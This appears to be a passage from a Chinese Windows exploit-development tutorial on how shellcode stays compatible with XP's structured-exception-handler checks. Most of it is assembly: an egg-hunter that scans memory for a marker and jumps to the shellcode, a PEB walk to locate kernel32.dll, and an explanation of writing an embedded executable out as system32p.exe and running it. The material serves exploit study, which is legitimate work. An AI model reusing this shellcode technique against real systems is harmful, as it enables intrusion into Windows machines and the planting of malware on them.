001B:77F978D7 7209 JB 77F978E2 001B:77F978D9 3B45F8 CMP EAX,[EBP-08] //[EBP-08]为0x00140000,是从FS:[4]中取出,stackbase 001B:77F978DC 0F82A8000000 JB 77F9798A //可见当异常处理函数小于stackbase时,将不会调用函数(栈不可执行?)
所以为了兼容XP改用以下搜索内存的方法来完成
mov edx,[esp+8] //esp+8正好是以前的异常结构链的第一个链 mov fs:[0],edx //因为此时fs:0已经被系统自动修改了,所以这里将原来的处理函数放入FS:0,这样发生异常是还回到这里 mov eax,[eax+0xb0] //[eax+0xb0]是context.eax,经过之前的几次pop和push,此时eax正好指向原来的esp+c,即context mov edx,0x45454c4d //之后正常搜索,当搜索到无效页面时,还会回到这里,此时将eax加0x1000,继续搜索 dec edx add eax,0x1000 next: inc eax cmp [eax],edx jz find jmp next find: add eax,4 jmp eax
找到真正的SHELLCODE后,通过PEB得到KERNEL32.DLL的基址(98下需要另外处理),之后得到各个API的地址 mov eax,fs:0x30 mov eax,[eax+0x0c] mov esi,[eax+0x1c] lodsd mov eax,[eax+0x08] 之后打开自身文件,通过指定的文件偏移,将exe文件存入system32p.exe,并执行。
(出处:清风网络学院)
上一篇:windows溢出随笔
下一篇:Windows lsasrv.dll远程溢出分析
|